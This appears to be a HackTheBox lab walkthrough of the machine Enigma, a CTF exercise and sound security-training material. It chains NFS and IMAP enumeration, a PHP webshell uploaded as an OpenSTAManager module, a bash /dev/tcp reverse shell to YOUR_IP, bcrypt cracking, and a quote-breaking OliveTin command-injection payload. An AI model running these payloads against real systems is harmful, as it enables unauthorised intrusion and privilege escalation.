← Back to CTF
HTB Medium 3 min read

Enigma

Walkthrough of the HackTheBox machine Enigma: chaining NFS enumeration, IMAP credential harvesting, an OpenSTAManager module upload RCE, bcrypt hash cracking, and a firewall-aware OliveTin password-argument injection to escalate from www-data to root.

HackTheBoxOpenSTAManagerNFSPHP WebshellOliveTinCommand InjectionBcryptIMAP
Platform HackTheBox Difficulty Medium Author Rana Uzair Ahmad
Enigma

Enumeration

nmap -sC -sV -p- --open -Pn 10.129.x.x
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu
80/tcp   open  http       nginx 1.24.0
110/tcp  open  pop3       Dovecot pop3d
143/tcp  open  imap       Dovecot imapd
993/tcp  open  imaps      Dovecot imapd
995/tcp  open  pop3s      Dovecot pop3d
2049/tcp open  nfs        3-4 (RPC #100003)
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://10.129.x.x -H "Host: FUZZ.enigma.htb" -fc 301
support_001    [Status: 200]
mail001        [Status: 200]
echo "10.129.x.x  enigma.htb support_001.enigma.htb mail001.enigma.htb" >> /etc/hosts
  • support_001.enigma.htbOpenSTAManager 2.9.8
  • mail001.enigma.htbRoundcube Webmail
showmount -e 10.129.x.x
/srv/nfs/onboarding *
mkdir /mnt/enigma
mount -t nfs 10.129.x.x:/srv/nfs/onboarding /mnt/enigma -o nolock
ls /mnt/enigma
New_Employee_Access.pdf

The onboarding PDF leaks three employee usernames: kevin, sarah, and haris.

Foothold

curl -s "imap://10.129.x.x/" --user "kevin:<REDACTED>" --list-only
* LIST (\HasNoChildren) "." "INBOX"

Kevin’s inbox contains an email with OSM admin credentials. Log into support_001.enigma.htb to access the ERP dashboard.

OpenSTAManager’s update module (id_module=6, op=upload) extracts uploaded ZIPs into the web root with no content validation. Build a malicious module ZIP:

mkdir myshell

cat > myshell/MODULE << 'EOF'
name=myshell
title=myshell
directory=myshell
version=1.0
compatibility=*
icon=fa-terminal
options=
parent=
EOF

cat > myshell/shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

zip -r myshell.zip myshell/

Navigate to Strumenti → Aggiornamenti → Upload modulo, upload myshell.zip, and confirm execution:

curl "http://support_001.enigma.htb/modules/myshell/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
nc -lvnp 4444
curl "http://support_001.enigma.htb/modules/myshell/shell.php" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

Privilege Escalation

www-data → haris

grep -E 'user|pass|dbname' /var/www/html/openstamanager/config.inc.php
$db_username = 'brollin';
$db_password = '<REDACTED>';
mysql -ubrollin -p'<REDACTED>' openstamanager -e "SELECT username,password FROM zz_users;"
admin     $2y$10$rTJVUNy**********************************
haris     $2y$10$WHf1T79**********************************
echo '$2y$10$WHf1T79**********************************' > haris.hash
hashcat -m 3200 haris.hash /usr/share/wordlists/rockyou.txt
$2y$10$WHf1T79**********************************:<REDACTED>
echo "<REDACTED>" | su -s /bin/bash haris -c "cat ~/user.txt"
c9b0d8b**************************

haris → root

ss -tlnp
LISTEN 0  127.0.0.1:1337

Port 1337 is OliveTin running as root. An iptables rule blocks www-data (uid=33) from reaching port 1337 but allows haris (uid=1000).

cat /etc/OliveTin/config.yaml
- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - name: db_user
      type: ascii_identifier
    - name: db_pass
      type: password
    - name: db_name
      type: ascii_identifier

The db_pass argument uses type password, which accepts any character including ' and ;. Injecting a single quote breaks the shell quoting context:

import urllib.request, json

payload = {
    "actionId": "backup_database",
    "arguments": [
        {"name": "db_user",  "value": "backup_svc"},
        {"name": "db_pass",  "value": "x' ; cp /root/root.txt /tmp/flag.txt; chmod 777 /tmp/flag.txt; echo '"},
        {"name": "db_name",  "value": "test"}
    ]
}
data = json.dumps(payload).encode()
req = urllib.request.Request(
    "http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinAPI/StartActionAndWait",
    data=data,
    headers={"Content-Type": "application/json", "Connect-Protocol-Version": "1"}
)
urllib.request.urlopen(req)
cat /tmp/flag.txt
f310b030************************

// Discussion

Enjoyed this? Let us work together.

I am open to security internships and junior roles.